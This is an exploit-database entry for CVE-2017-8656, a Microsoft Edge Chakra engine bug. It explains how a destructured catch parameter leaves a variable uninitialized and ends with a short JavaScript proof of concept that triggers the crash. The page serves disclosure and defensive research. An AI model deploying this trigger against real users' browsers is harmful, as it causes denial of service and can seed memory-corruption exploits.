Materialized exploit

CVE-2017-8656

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra - 'PreVisitCatch' Missing Call

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1266

function trigger() {
    try {
    } catch (x) {
        var x = 1;
    }

    print(x);
}

trigger();

When Chakra executes the above code, it declares two "x"s. One is only for the catch scope, the other is for the whole function scope. The one for the whole function scope is initialized with undefined at the start of the function. If the bytecode generator incorrectly chooses the "x" to initialize, the "x" for the function scope may remain uninitialized. This choice is made in the following code in "ByteCodeGenerator::DefineUserVars".

void ByteCodeGenerator::DefineUserVars(FuncInfo *funcInfo)
{
    ...
    for (pnode = funcInfo->root->sxFnc.pnodeVars; pnode; pnode = pnode->sxVar.pnodeNext)
    {
        Symbol* sym = pnode->sxVar.sym;

        if (sym != nullptr && !(pnode->sxVar.isBlockScopeFncDeclVar && sym->GetIsBlockVar()))
        {
            if (sym->GetIsCatch() || (pnode->nop == knopVarDecl && sym->GetIsBlockVar()))
            {
                ...
                sym = funcInfo->bodyScope->FindLocalSymbol(sym->GetName()); <<< This returns the symbol for the function scope.
                ...
            }
        }

        // Emit bytecode which initalizes "sym"
    }
    ...
}


However, there's a buggy case that "sym->GetIsCatch()" returns false when it must return true.

Here's a snippet of "PreVisitCatch". This function is supposed to call "SetIsCatch" for all the symbols in the exception parameter. But it doesn't call "SetIsCatch" when the condition "pnode->sxCatch.pnodeParam->nop == knopParamPattern" is satisfied. The PoC reproduces that case, the "x" for the function scope will refer to an uninitialized value in the stack.

void PreVisitCatch(ParseNode *pnode, ByteCodeGenerator *byteCodeGenerator)
{
    // Push the catch scope and add the catch expression to it.
    byteCodeGenerator->StartBindCatch(pnode);
    if (pnode->sxCatch.pnodeParam->nop == knopParamPattern)
    {
        Parser::MapBindIdentifier(pnode->sxCatch.pnodeParam->sxParamPattern.pnode1, [&](ParseNodePtr item)
        {
            Symbol *sym = item->sxVar.sym;
        });
    }
    else
    {
        Symbol *sym = *pnode->sxCatch.pnodeParam->sxPid.symRef;
        sym->SetIsCatch(true);
        pnode->sxCatch.pnodeParam->sxPid.sym = sym;
    }
    ...
}

PoC:
-->

function trigger() {
    try {
    } catch ({x}) {
        var x = 1;
    }

    print(x);
}

trigger();